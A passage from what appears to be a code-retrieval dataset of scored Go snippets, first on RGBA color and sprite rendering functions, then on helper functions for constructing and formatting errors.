uint32(c.G*65535.0 + 0.5)\n\tb = uint32(c.B*65535.0 + 0.5)\n\ta = uint32(c.A*65535.0 + 0.5)\n\treturn\n}", "title": "" }, { "docid": "519fa7b167caeed1b51239dd816db342", "score": "0.45713177", "text": "func (b *Background) GetSprite() *pixel.Sprite { return b.sprite }", "title": "" }, { "docid": "30c9317e321edd1bc5a9a45d8dc64fe7", "score": "0.4568852", "text": "func ToRGBAString(r int, g int, b int, a float32) string {\n\tif a < 1 {\n\t\treturn fmt.Sprintf(\"rgba(%d, %d, %d, %.1f)\", r, g, b, a)\n\t}\n\n\treturn fmt.Sprintf(\"rgba(%d, %d, %d, %d)\", r, g, b, int(a))\n}", "title": "" }, { "docid": "6c5036cb8562ca63318ae3b767bf4cbf", "score": "0.45654127", "text": "func (f *Font) SetBgColor(color *math32.Color) {\n\n\tf.bgColor.FromColor(color, 1.0)\n\tf.bg = image.NewUniform(Color4RGBA(&f.fgColor))\n}", "title": "" }, { "docid": "937fb08f00bf941f5e6d21102af32f59", "score": "0.45615423", "text": "func BlendSourceOutRGBA(Sr, Sg, Sb, Sa uint32, _, _, _, Da uint32, _ float64, destinationAlpha bool) (R, G, B, A uint32) {\n\tR = sourceOut(Sr, Da)\n\tG = sourceOut(Sg, Da)\n\tB = sourceOut(Sb, Da)\n\tif destinationAlpha {\n\t\tA = Da\n\t} else {\n\t\tA = sourceOut(Sa, Da)\n\t}\n\treturn\n}", "title": "" }, { "docid": "8cbbe7c0725699666c1093a7a82a2e4b", "score": "0.45610708", "text": "func (c NRGBAf32) RGBA() (r, g, b, a uint32) {\n\tr = uint32(c.R*c.A*65535.0 + 0.5)\n\tg = uint32(c.G*c.A*65535.0 + 0.5)\n\tb = uint32(c.B*c.A*65535.0 + 0.5)\n\ta = uint32(c.A*65535.0 + 0.5)\n\treturn\n}", "title": "" }, { "docid": "0eaa4aedf6848abb15cae1f0b9f7cc94", "score": "0.45595866", "text": "func (state *GraphicsState) SetAlphaStroking(strokingAlpha float32) {\n\tif strokingAlpha >= 0.0 && strokingAlpha <= 1.0 {\n\t\tstate.strokingAlpha = strokingAlpha\n\t}\n}", "title": "" }, { "docid": "dcdd8cc7fa63ad387dac181b8f7888a8", "score": "0.45568293", "text": "func (f *Frame) SetBgColor(color tl.Attr) {\n\tf.Rectangle.SetColor(color)\n}", "title": "" }, { "docid": "4cb3a76f563f0f6f58e24aa03a0cadb3", "score": "0.4550017", "text": "func SkinToRGBA(s protocol.Skin) *image.RGBA {\n\tt := image.NewRGBA(image.Rect(0, 0, int(s.SkinImageWidth), int(s.SkinImageHeight)))\n\tt.Pix = s.SkinData\n\treturn t\n}", "title": "" }, { "docid": "05bf9cee776602e79b19afbdacb21226", "score": "0.4547819", "text": "func (f *Framebuffer) SetTextureLayer(attachment uint32, t *Texture, level, layer int32) {\n\tf.Bind()\n\tgl.FramebufferTextureLayer(f.target, attachment, t.id, level, layer)\n}", "title": "" }, { "docid": "f75acbe88c03000800c36a74dc1fe4a2", "score": "0.4536688", "text": "func (me RenderStates) SetFramebufferSrgb(newFramebufferSrgb bool) {\r\n\tif Cache.renderStates.FramebufferSrgb != newFramebufferSrgb {\r\n\t\tif Cache.renderStates.FramebufferSrgb = newFramebufferSrgb; Cache.renderStates.FramebufferSrgb {\r\n\t\t\tgl.Enable(gl.FRAMEBUFFER_SRGB)\r\n\t\t} else {\r\n\t\t\tgl.Disable(gl.FRAMEBUFFER_SRGB)\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "f3b4e7c57c09478f823f17b0334f4a4b", "score": "0.45364976", "text": "func RectTransparent(xStart, yStart, xEnd, yEnd int) {\n\tif useGo {\n\t\trectTransparent(xStart, yStart, xEnd, yEnd)\n\t} else {\n\t\tC.gendung_rect_transparent(C.int(xStart), C.int(yStart), C.int(xEnd), C.int(yEnd))\n\t}\n}", "title": "" }, { "docid": "5bbb8dcad69e5ec49a2d8a899088f645", "score": "0.45361784", "text": "func (p *Player) SetActiveTextureCoord(tick int) {\n\tif !player.Moving {\n\t\t// leave the player's texture pt what it was before\n\t} else {\n\t\tty := 10\n\t\ttx := 0\n\n\t\ttexWidth := 37 // the width of each sprite on our rescaled texture sheet. nfi why.\n\n\t\t// our sprite sheet has three sprites per walking frame, and max tick is 29. so we divide by 10 to get a\n\t\t// smooth three-frame walking animation\n\t\tif player.Dir.X == -1 {\n\t\t\ttx = (9 + tick/10) * texWidth // start at the 9th sprite on the sheet (0-indexed)\n\t\t}\n\t\tif player.Dir.X == 1 {\n\t\t\ttx = (0 + tick/10) * texWidth\n\t\t}\n\n\t\tif player.Dir.Y == -1 {\n\t\t\ttx = (3 + tick/10) * texWidth\n\t\t}\n\t\tif player.Dir.Y == 1 {\n\t\t\ttx = (6 + tick/10) * texWidth\n\t\t}\n\t\tplayer.TexturePt = image.Pt(tx, ty)\n\t}\n}", "title": "" }, { "docid": "ac2460a90f96f90472d0ac6934375d2b", "score": "0.4526118", "text": "func (c *Color) Set(r, g, b float32) *Color {\n\n\tc.R = r\n\tc.G = g\n\tc.B = b\n\treturn c\n}", "title": "" }, { "docid": "8861302d70f8bacbeb0780dd0b7564e0", "score": "0.45238447", "text": "func (self *Image) SetAnimationsA(member *AnimationManager) {\n self.Object.Set(\"animations\", member)\n}", "title": "" }, { "docid": "9da1c1bcd528d9cf06cad3157628edd1", "score": "0.45200512", "text": "func (sprite *Sprite) SetUniforms(data *DataObject) {\n\n\t// Set the divisions uniform (used to locate the correct tile on the texture)\n\tdata.Program.SetFloat(\"tex_divisions\", float32(sprite.Divisions))\n\n\t// Set the position of the Sprite tile on the Texture\n\tdata.Program.SetFloat(\"tex_x\", sprite.AnimationFrames[sprite.CurrentFrame][0])\n\tdata.Program.SetFloat(\"tex_y\", sprite.AnimationFrames[sprite.CurrentFrame][1])\n\n\t// Set the (normalized) position of the Sprite on the screen\n\tdata.Program.SetFloat(\"x\", sprite.Xn)\n\tdata.Program.SetFloat(\"y\", sprite.Yn)\n\n\t// Used for zooming, a bit hacky, should rewrite with matrix manipulation or something.\n\tdata.Program.SetFloat(\"scale\", sprite.Scale)\n\n\t// Flip the texture tile horizontally or not (1.0 for yes, 0.0 for no)\n\tdata.Program.SetFloat(\"tex_fliph\", sprite.FlipHorizontal)\n}", "title": "" }, { "docid": "7457e9f96825f731081a6de99778f964", "score": "0.4510191", "text": "func (f *Font) SetColor(red float32, green float32, blue float32, alpha float32) {\n\tf.color.r = red\n\tf.color.g = green\n\tf.color.b = blue\n\tf.color.a = alpha\n}", "title": "" }, { "docid": "1157b6073b05c0d47070cdd6525da8c6", "score": "0.45011464", "text": "func (p *RGBAM64) Set(x, y int, c color.Color) {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn\n\t}\n\ti := p.PixOffset(x, y)\n\tc1 := p.Model.Convert(c).(npcolor.RGBAM64)\n\tp.Pix[i+0] = uint8(c1.R >> 8)\n\tp.Pix[i+1] = uint8(c1.R)\n\tp.Pix[i+2] = uint8(c1.G >> 8)\n\tp.Pix[i+3] = uint8(c1.G)\n\tp.Pix[i+4] = uint8(c1.B >> 8)\n\tp.Pix[i+5] = uint8(c1.B)\n\tp.Pix[i+6] = uint8(c1.A >> 8)\n\tp.Pix[i+7] = uint8(c1.A)\n}", "title": "" }, { "docid": "9a310f4b94909278256f9baaf8a3788b", "score": "0.4498669", "text": "func (self *RenderTexture) SetFrameI(args ...interface{}) {\n self.Object.Call(\"setFrame\", args)\n}", "title": "" }, { "docid": "76c099c66ba14ba31bd83e0791a3e1d0", "score": "0.4491744", "text": "func (c SRGBA) RGBA() (r, g, b, a uint32) {\n\treturn uint32(c.R * 0xFFFF), uint32(c.G * 0xFFFF), uint32(c.B * 0xFFFF), uint32(c.A * 0xFFFF)\n}", "title": "" }, { "docid": "fa1d6d36402dc06b122dee9b5b56fc79", "score": "0.44889903", "text": "func (p *Alpha) PixOffset(x, y int) int {}", "title": "" }, { "docid": "1e5f6bbb7023eb93e4befc66d3d204d3", "score": "0.44888002", "text": "func (self *Image) SetTextureI(args ...interface{}) {\n self.Object.Call(\"setTexture\", args)\n}", "title": "" }, { "docid": "d75825e4ed4cab026baf2efd0712fb41", "score": "0.4481594", "text": "func (self *Image) SetTexture1O(texture *Texture, destroy bool) {\n self.Object.Call(\"setTexture\", texture, destroy)\n}", "title": "" } ]
999913f006331defdb151abe3de1564a
Helper function to make costume errors
[ { "docid": "5eb434790352fcf757bb2135273a3c43", "score": "0.0", "text": "func errorResponse(c *gin.Context, code int, err string) {\n\tc.JSON(code, gin.H{\n\t\t\"error\": err,\n\t})\n}", "title": "" } ]
[ { "docid": "6eda076f5e6bd465ad2d5b44cf33205e", "score": "0.64255273", "text": "func makeErr(warnings []string, err string) error {\n\tif len(warnings) == 0 {\n\t\treturn errors.New(err)\n\t}\n\treturn errors.New(`(warnings: ` + strings.Join(warnings, `, `) + `) ` + err)\n}", "title": "" }, { "docid": "ae599724cb4879f05b14937574ad4730", "score": "0.6021315", "text": "func errorMessage(tls *libc.TLS, zFormat uintptr, va uintptr) { /* mptest.c:215:13: */\n\tbp := tls.Alloc(38)\n\tdefer tls.Free(38)\n\n\tvar ap va_list\n\t_ = ap\n\tvar zMsg uintptr\n\t// var zPrefix [30]int8 at bp+8, 30\n\n\tap = va\n\tzMsg = sqlite3.Xsqlite3_vmprintf(tls, zFormat, ap)\n\t_ = ap\n\tsqlite3.Xsqlite3_snprintf(tls, int32(unsafe.Sizeof([30]int8{})), bp+8 /* &zPrefix[0] */, ts+8 /* \"%s:ERROR: \" */, libc.VaList(bp, uintptr(unsafe.Pointer(&g))+32 /* &.zName */))\n\tif g.pLog != 0 {\n\t\tprintWithPrefix(tls, g.pLog, bp+8 /* &zPrefix[0] */, zMsg)\n\t\tlibc.Xfflush(tls, g.pLog)\n\t}\n\tif (g.pErrLog != 0) && (safe_strcmp(tls, g.zErrLog, g.zLog) != 0) {\n\t\tprintWithPrefix(tls, g.pErrLog, bp+8 /* &zPrefix[0] */, zMsg)\n\t\tlibc.Xfflush(tls, g.pErrLog)\n\t}\n\tsqlite3.Xsqlite3_free(tls, zMsg)\n\tg.nError++\n}", "title": "" }, { "docid": "596e50a30182661e293ee2eed30b216d", "score": "0.5936324", "text": "func makeErr(s string) error {\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\treturn errors.New(s)\n}", "title": "" }, { "docid": "32236a8fc16912d37da1517f684df4b6", "score": "0.5919899", "text": "func protocolErr(code codes.Code, status int, format string, a ...any) *protocolError {\n\tif code == codes.OK {\n\t\tpanic(\"need a real error code, not OK\")\n\t}\n\tif status < 400 {\n\t\tpanic(\"need an HTTP status code indicating an error\")\n\t}\n\treturn &protocolError{\n\t\terr: fmt.Sprintf(format, a...),\n\t\tcode: code,\n\t\tstatus: status,\n\t}\n}", "title": "" }, { "docid": "4f90c0e157037b7bb4f446c7a7c8364c", "score": "0.58877313", "text": "func reqErr(err error) string {\n\treturnString := err.Error()\n\tif strings.Contains(err.Error(), \"unsupported protocol scheme\") {\n\t\treturnString = \"Not a valid URL. Is there a 'https://' at the beginning?\"\n\t} else if strings.Contains(err.Error(), \"connection refused\") {\n\t\treturnString = \"Connection refused. Are you connected to the network?\"\n\t} else if strings.Contains(err.Error(), \"no such host\") {\n\t\treturnString = \"Not a valid URL. Did you type in the address correctly?\"\n\t}\n\treturn returnString\n}", "title": "" }, { "docid": "b7c35e9aa1403626510c531c4ee8358c", "score": "0.5879289", "text": "func CalculateCost(costOfPen1 float64,costOfPen2 float64) (float64,error){\n //checking if the parameters are valid\n if costOfPen1<0{\n return 0.0, fmt.Errorf(\"The costOfPen1 i.e %0.2f is Invalid\",costOfPen1)\n }\n if costOfPen2<0{\n return 0.0 , fmt.Errorf(\"The costOfPen2 ie 0.2f is Invalid\",costOfPen2)\n }\n return costOfPen1+costOfPen2,nil\n}", "title": "" }, { "docid": "7bc6f59889249e73b1bec1e9b75691c5", "score": "0.58741933", "text": "func validationError(g *groupedImport, msg string) *ValidationError {\n\treturn &ValidationError{\n\t\tMessage: msg,\n\t\tImportPath: g.path,\n\t\tLine: g.startLine,\n\t}\n}", "title": "" }, { "docid": "b55a650e39519eea6ffa04817ba7a56a", "score": "0.58723277", "text": "func errorf(k ErrorCode, line int, f string, args ...interface{}) *Error {\n\treturn &Error{k, \"\", line, fmt.Sprintf(f, args...)}\n}", "title": "" }, { "docid": "06429c9e564f8c51d98b719420b256cf", "score": "0.5867536", "text": "func errorf(ctx context.Context, fmts string, a ...interface{}) error {\n\tif s, ok := ctx.Value(ctxErr).(string); ok {\n\t\treturn fmt.Errorf(strings.Join([]string{s, fmts}, \"\"), a...)\n\t}\n\treturn fmt.Errorf(fmts, a...)\n}", "title": "" }, { "docid": "3fc17e895e2a93c68945ca6b44e7e878", "score": "0.58502495", "text": "func stdErrFormat(err error) string {\n\treturn \"\\n~~~~~ ~~~~~ ~~~~~\\nerror : \\n\\t\" + err.Error()\n}", "title": "" }, { "docid": "5c9c5073d631cedd9483f375e84d11ab", "score": "0.5788071", "text": "func asReportError(err error) error {\n\tif err != nil {\n\t\treturn ReportError{err.Error()}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "527d3a41e522db0150a63c5419123a91", "score": "0.5786236", "text": "func withError(code codes.Code, message string, err error, tags ...Tag) error {\n\tif e, ok := err.(*Error); ok {\n\t\treturn e // Avoid double-wrapping the error\n\t}\n\n\t// Add explanation for the internal error\n\tif err != nil {\n\t\tmessage += \" due to \" + err.Error()\n\t}\n\n\tstatus := statusFor(code)\n\treturn &Error{\n\t\thttp: status,\n\t\tgrpc: code,\n\t\terr: err,\n\t\tReason: http.StatusText(status),\n\t\tTarget: caller(3), // withError -> (eg. Internal) -> X\n\t\tMessage: message,\n\t}\n}", "title": "" }, { "docid": "5f023ed6a5651389bea6fad687761aaf", "score": "0.5784016", "text": "func (e *evaluator) err(s string) result {\n\tif e.evalError != nil {\n\t\treturn result{}\n\t}\n\t// Append the substring of the expression that corresponds to the current AST node.\n\tstart := int(e.curNode.Pos() - 1)\n\tend := int(e.curNode.End() - 1)\n\tif start < 0 {\n\t\tstart = 0\n\t}\n\tif end > len(e.expression) {\n\t\tend = len(e.expression)\n\t}\n\tif start > end {\n\t\tstart, end = 0, 0\n\t}\n\te.evalError = errors.New(s + `: \"` + e.expression[start:end] + `\"`)\n\treturn result{}\n}", "title": "" }, { "docid": "4886f6efdf5b57307545e55374719f92", "score": "0.57608265", "text": "func Rc2err(label string, rc C.int) error {\n\tif rc != C.NVM_SUCCESS {\n\t\t// e := errors.Error(C.NVDIMM_ERR_W(FORMAT_STR_NL, rc))\n\t\treturn fmt.Errorf(\"%s: rc=%d\", label, int(rc)) // e\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5d268bf372d5ddc8b8ed1a5bd0c7f9c3", "score": "0.5754519", "text": "func errorf(src Interface, format string, a ...interface{}) validationError {\n\treturn validationError{\n\t\tk: reflect.TypeOf(src).Kind(),\n\t\tm: fmt.Sprintf(format, a...),\n\t}\n}", "title": "" }, { "docid": "9dfb41a59c0293f08189d4093a4ced48", "score": "0.57520074", "text": "func makeErrf(warnings []string, format string, v ...interface{}) error {\n\treturn makeErr(warnings, fmt.Sprintf(format, v...))\n}", "title": "" }, { "docid": "15b832c46aeb1b48eba5e21f515bcf0d", "score": "0.57469916", "text": "func newAdditionalInfoError(err error, info string) error {\n\tcos.Assert(err != nil)\n\treturn &errAdditionalInfo{\n\t\tbaseErr: err,\n\t\tadditionalInfo: info,\n\t}\n}", "title": "" }, { "docid": "69de02b0e3f58b4a92cae5126b0a9175", "score": "0.5740419", "text": "func makeErrStr(err error) string {\n\tif err == nil {\n\t\treturn \"\"\n\t}\n\treturn err.Error()\n}", "title": "" }, { "docid": "f49cad0f9739f597169044573886732a", "score": "0.57182705", "text": "func GenErrorWeak(msg string) {\n PrintHead();\n libgogo.PrintString(\": generation error: \");\n libgogo.PrintString(msg);\n libgogo.PrintString(\"\\n\");\n Compile = 0;\n ParserSync();\n}", "title": "" }, { "docid": "c1ec8505364804b38827508f792795c0", "score": "0.56830037", "text": "func createErr(err error) CreateResult {\n\treturn CreateResult{commonResult{gophercloud.Result{Err: err}}}\n}", "title": "" }, { "docid": "af2eac1e9e57637e949e2c187d56afe4", "score": "0.5681923", "text": "func TestHandlingBadThings(t *testing.T) {\n\t_, err := Evaluate(Bad1)\n\tif err.Error() != Error1 {\n\t\tt.Error(\"Expected\", Error1, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad2)\n\tif err.Error() != Error2 {\n\t\tt.Error(\"Expected\", Error2, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad3)\n\tif err.Error() != Error3 {\n\t\tt.Error(\"Expected\", Error3, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad4)\n\tif err.Error() != Error4 {\n\t\tt.Error(\"Expected\", Error4, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad5)\n\tif err.Error() != Error5 {\n\t\tt.Error(\"Expected\", Error5, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad6)\n\tif err.Error() != Error6 {\n\t\tt.Error(\"Expected\", Error6, \"got\", err.Error())\n\t}\n\n\t_, err = Evaluate(Bad7)\n\tif err.Error() != Error7 {\n\t\tt.Error(\"Expected\", Error7, \"got\", err.Error())\n\t}\n}", "title": "" }, { "docid": "0ad6fe40f52945eb506c2a99da1a4555", "score": "0.5676581", "text": "func Test_errand_Error_Multi(t *testing.T) {\n\tt.Parallel()\n\n\terr := fmt.Errorf(\"one\")\n\terr2 := fmt.Errorf(\"two\")\n\terr3 := Append(err, err2)\n\n\tif fmt.Sprintf(\"%s\", err3) != \"2 errors: one, two\" {\n\t\tt.Fail()\n\t}\n}", "title": "" }, { "docid": "96a110bc82f3930613aef1c682951279", "score": "0.56613576", "text": "func newRunError(ctx context.Context, msg interface{}) *Error {\n\te := &Error{}\n\n\tswitch m := msg.(type) {\n\tcase string: // we panic'd\n\t\te.Err = errors.New(m)\n\t\te.fillErr(ctx, 2)\n\n\tcase error: // system generated error\n\t\te.Err = m\n\t\te.fillErr(ctx, 2)\n\n\tdefault:\n\t\te.Err = fmt.Errorf(\"Error of type %T: %v\", msg, msg)\n\t\te.fillErr(ctx, 1)\n\n\t}\n\treturn e\n}", "title": "" }, { "docid": "1b775d2e16fcb20265c23e038328aa08", "score": "0.5659426", "text": "func discoverErr(format string, a ...interface{}) error {\n\tvar s string\n\tif len(a) > 1 {\n\t\ts = fmt.Sprintf(format, a...)\n\t} else {\n\t\ts = format\n\t}\n\treturn fmt.Errorf(\"discover-vsphere: %s\", s)\n}", "title": "" }, { "docid": "b5363fc46b5233dd7ba21d5cd82a1ceb", "score": "0.5655", "text": "func (self *_RegExp_parser) error(offset int, msg string, msgValues ...interface{}) error {\n\terr := fmt.Errorf(msg, msgValues...)\n\tself.errors = append(self.errors, err)\n\treturn err\n}", "title": "" }, { "docid": "b5363fc46b5233dd7ba21d5cd82a1ceb", "score": "0.5655", "text": "func (self *_RegExp_parser) error(offset int, msg string, msgValues ...interface{}) error {\n\terr := fmt.Errorf(msg, msgValues...)\n\tself.errors = append(self.errors, err)\n\treturn err\n}", "title": "" }, { "docid": "ba51124a59781496beba65939e50fd5b", "score": "0.56490487", "text": "func returnError(b bool) (string, error) {\n\tif b {\n\t\treturn \"\", errors.New(\"This is an error\")\n\t}\n\treturn \"Ok\", nil\n}", "title": "" }, { "docid": "36d3f9c116f08dcf69be274cb495a503", "score": "0.56426555", "text": "func error(str string) {\n\tfmt.Println(\"ERREUR: \" + str)\n}", "title": "" }, { "docid": "35afbaeb1bd59183b82a1ae529049468", "score": "0.56410307", "text": "func errF(format string, v ...interface{}) error {\n\t//err := errors.New(fmt.Sprintf(\"%v %v\", errInfo(1), fmt.Sprintf(format, v...)))\n\terr := &oraErr{Caller: errInfo(1), Underlying: fmt.Errorf(format, v...)}\n\t_drv.cfg.Log.Logger.Errorln(err)\n\treturn err\n}", "title": "" }, { "docid": "0d7fcc1decb9328f4642900f49fecd46", "score": "0.5624356", "text": "func buildAndSendErr(conn net.PacketConn, dst net.Addr, err error, attrs ...stun.Setter) error {\n\tif sendErr := buildAndSend(conn, dst, attrs...); sendErr != nil {\n\t\terr = fmt.Errorf(\"%w %v %v\", errFailedToSendError, sendErr, err)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "43cea97fc8be94780980329dbb1e0b0a", "score": "0.5624052", "text": "func mkErr(message interface{}) map[string]interface{} {\n\tresult := \"unknown error\"\n\tswitch v := message.(type) {\n\tcase string:\n\t\tresult = v\n\tcase error:\n\t\tresult = v.Error()\n\t}\n\treturn map[string]interface{}{\n\t\t\"error\": result,\n\t}\n}", "title": "" }, { "docid": "05a1e20292fe8503bbdd12df63de2300", "score": "0.56126106", "text": "func parserError(err error, name, source, resourceType string) {\n\tprinter.Error(\n\t\terr,\n\t\tfmt.Sprintf(\n\t\t\t\"\\n ├─ Name: %s\\n ├─ Source: %s\\n └─ Type: %s\",\n\t\t\tname,\n\t\t\tsource,\n\t\t\tresourceType,\n\t\t),\n\t\t\"\",\n\t)\n}", "title": "" }, { "docid": "eb98e955bb29426b58e8f9c44721c62f", "score": "0.5597624", "text": "func wrapErr(err error) error {\n\tif err == nil {\n\t\treturn err\n\t}\n\treturn fmt.Errorf(\"smsc: %s\", err)\n}", "title": "" }, { "docid": "cb165d1e4587166bbf402c18f112925b", "score": "0.55966973", "text": "func errorft(tok *Token, format gostring, v ...interface{}) {\n\n\tvar tokString gostring\n\tif tok != nil {\n\t\ttokString = tok.String()\n\t}\n\tgs := concat3(format,S(\"\\n \"), tokString)\n\terrorf(gs, v...)\n}", "title": "" }, { "docid": "e11b12e17ce43c08092c0f28e64ca6b0", "score": "0.5592825", "text": "func errR(v ...interface{}) error {\n\t//err := errors.New(fmt.Sprintf(\"%v recovered: %v\\n%s\", errInfo(1), fmt.Sprint(v...), trace[:n]))\n\terr := &oraErr{\n\t\tCaller: errInfo(1),\n\t\tUnderlying: errors.New(fmt.Sprint(v...)),\n\t\tTrace: getStack(),\n\t}\n\t_drv.cfg.Log.Logger.Errorln(err)\n\treturn err\n}", "title": "" }, { "docid": "720a26a45011842e46f65a8fe4d4b315", "score": "0.5591285", "text": "func wrapError(err error) error {\n\t// internal agreement\n\tif strings.Contains(err.Error(), delimiter) {\n\t\tchunks := strings.Split(err.Error(), delimiter)\n\t\tcode := codes.Internal\n\n\t\t// protect the slice access\n\t\tif len(chunks) < 2 {\n\t\t\treturn err\n\t\t}\n\n\t\tif phpCode, errConv := strconv.ParseUint(chunks[0], 10, 32); errConv == nil {\n\t\t\tcode = codes.Code(phpCode)\n\t\t}\n\n\t\tst := status.New(code, chunks[1]).Proto()\n\n\t\tfor _, detailsMessage := range chunks[2:] {\n\t\t\tanyDetailsMessage := anypb.Any{}\n\t\t\terrP := proto.Unmarshal([]byte(detailsMessage), &anyDetailsMessage)\n\t\t\tif errP == nil {\n\t\t\t\tst.Details = append(st.Details, &anyDetailsMessage)\n\t\t\t}\n\t\t}\n\n\t\treturn status.ErrorProto(st)\n\t}\n\n\treturn status.Error(codes.Internal, err.Error())\n}", "title": "" }, { "docid": "0ff4207a24758bc40da9b11c0b4fe642", "score": "0.55804765", "text": "func (a *Answer) makeErrors(err string, lang language.Code) *[]errormessage.Error {\n\tsplittedError := SplitErr(err)\n\terrors := make([]errormessage.Error, len(splittedError))\n\tfor k, v := range splittedError {\n\t\tkey, value := getKeyValue(v)\n\t\terrors[k] = a.getError(value, lang, errormessage.Source{\n\t\t\tPointer: key,\n\t\t})\n\t}\n\treturn &errors\n}", "title": "" }, { "docid": "2e47a13505649f608ac5cad75a574337", "score": "0.5577386", "text": "func (p defaultParser) makeErr() error {\n\treturn errors.New(\n\t\tfmt.Sprintf(\n\t\t\t\"unexpected character %s in pos %d\",\n\t\t\tstring(p.peek()),\n\t\t\tp.offset+1,\n\t\t),\n\t)\n}", "title": "" }, { "docid": "a5db0b3e1b0f6da4db196b1e3b2cc8ef", "score": "0.5575757", "text": "func toErrMsg(err error) string {\n\tif awsErr := awserr.Error(nil); errors.As(err, &awsErr) {\n\t\treturn awserr.SprintError(awsErr.Code(), awsErr.Message(), \"\", awsErr.OrigErr())\n\t}\n\treturn err.Error()\n}", "title": "" }, { "docid": "92757372383b1a5abb1439874014d946", "score": "0.55748314", "text": "func checkError(err error) error {\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Error \", err.Error())\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "92757372383b1a5abb1439874014d946", "score": "0.55748314", "text": "func checkError(err error) error {\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Error \", err.Error())\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d87fc6741786b567a9ac3820a230b773", "score": "0.5574449", "text": "func TestErrorsProduceANonemptyErrorMessage(t *testing.T) {\n\tv := new(pf)\n\tp := fapi.For(v)[0]\n\tcases := map[string]error{\n\t\t\"OutOfBoundsInt\": fapi.OutOfBoundsInt{Param: p, Value: 1},\n\t\t\"OutOfBoundsReal\": fapi.OutOfBoundsReal{Param: p, Value: 1},\n\t\t\"NotFinite\": fapi.NotFinite{Param: p},\n\t\t\"NotOptional\": fapi.NotOptional{Param: p},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tif m := c.Error(); m == \"\" {\n\t\t\t\tt.Errorf(\"error of type %T produced empty error message\", c)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "89b6189ae6a17d6e11f58e2fea74bf29", "score": "0.55742306", "text": "func exception()", "title": "" }, { "docid": "bfe513d649abb80bafec65874cd0c2fa", "score": "0.5566606", "text": "func fmtErr(err error) string {\n\tif err != nil {\n\t\terrStr := \"\"\n\t\tif pqErr := (*pq.Error)(nil); errors.As(err, &pqErr) {\n\t\t\terrStr = pqErr.Message\n\t\t\tif pgcode.MakeCode(string(pqErr.Code)) != pgcode.Uncategorized {\n\t\t\t\terrStr += fmt.Sprintf(\" (SQLSTATE %s)\", pqErr.Code)\n\t\t\t}\n\t\t\tif pqErr.Hint != \"\" {\n\t\t\t\thint := strings.Replace(pqErr.Hint, stdstrings.IssueReferral, \"<STANDARD REFERRAL>\", 1)\n\t\t\t\terrStr += \"\\nHINT: \" + hint\n\t\t\t}\n\t\t\tif pqErr.Detail != \"\" {\n\t\t\t\terrStr += \"\\nDETAIL: \" + pqErr.Detail\n\t\t\t}\n\t\t} else {\n\t\t\terrStr = err.Error()\n\t\t}\n\t\treturn \"ERROR: \" + errStr\n\t}\n\treturn \"ok\"\n}", "title": "" }, { "docid": "b4c4c053029c5c0bb1b0d98aee2b6050", "score": "0.55530584", "text": "func getError(r *clickatell.SendResponse, e error) error {\n\tif len(r.Data.Message) <= 0 {\n\t\treturn e\n\t}\n\n\tmErrCode := r.Data.Message[0].Error.Code\n\tmErrDesc := r.Data.Message[0].Error.Description\n\tvar err error\n\tif mErrCode != \"\" {\n\t\terr = errors.New(mErrCode + \": \" + mErrDesc)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "ceee3ff00e9fea38b136293ef92c2460", "score": "0.5544096", "text": "func colorError(s string) string {\n\treturn BeginErrorColor + s + EndErrorColor\n}", "title": "" }, { "docid": "fc55145ad307e04cd3feca111196a351", "score": "0.5538576", "text": "func handleErrors (initial int, upper int, lower int, file []string) []int{\r\n\tvar request int\r\n\tvar skip []int\r\n\t\r\n\t// ABORT errors\r\n\tif upper < lower {\r\n\t\tfmt.Printf(\"ABORT(13):upper (%d) < lower (%d)\\n\", upper, lower)\r\n\t\tos.Exit(13)\r\n\t}\r\n\r\n\tif initial < lower {\r\n\t\tfmt.Printf(\"ABORT(12):initial (%d) < lower (%d)\\n\", initial, lower)\r\n\t\tos.Exit(12)\r\n\t}\r\n\t\r\n\tif initial > upper {\r\n\t\tfmt.Printf(\"ABORT(11):initial (%d) > upper (%d)\\n\", initial, upper)\r\n\t\tos.Exit(11)\r\n\t}\r\n\t\r\n\t// Handle request errors. Occur if requests are larger than upper bound or lower than lower bound.\r\n\t// Will print out error requests and add the request to a slice to skip over.\r\n\tfor i := range file {\r\n\t\t\r\n\t\tif file[i] == \"cylreq\"{\r\n\t\t\t\r\n\t\t\ti++\r\n\t\t\trequest,_ = strconv.Atoi(file[i])\r\n\t\t\t\r\n\t\t\tif request > upper || request < lower {\r\n\t\t\t\tfmt.Printf(\"ERROR(15):Request out of bounds: req (%d) > upper (%d) or < lower (%d)\\n\", request, upper, lower)\r\n\t\t\t\tskip = append(skip, request)\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t// Return a slice of skipped requests.\r\n\treturn skip\r\n}", "title": "" }, { "docid": "da64c74da33b18c8434191d5629746cd", "score": "0.55380714", "text": "func errorcheck(src []byte, filePath string, opts []string) error {\n\n\text := filepath.Ext(filePath)\n\n\ttests := differentiateSources(string(src))\n\n\t// First do a test without error lines.\n\tvar srcWithoutErrors []byte\n\tfor _, line := range bytes.SplitAfter(src, lf) {\n\t\tif bytes.Contains(line, errorComment) {\n\t\t\tsrcWithoutErrors = append(srcWithoutErrors, '\\n')\n\t\t} else {\n\t\t\tsrcWithoutErrors = append(srcWithoutErrors, line...)\n\t\t}\n\t}\n\texitCode, _, stderr := cmd(srcWithoutErrors, opts, \"build\", ext)\n\tif exitCode != 0 {\n\t\tif p := bytes.Index(stderr, []byte{':'}); p > 0 {\n\t\t\treturn fmt.Errorf(\"%s%s\", filePath, stderr[p:])\n\t\t}\n\t\treturn fmt.Errorf(\"%s: %s\", filePath, 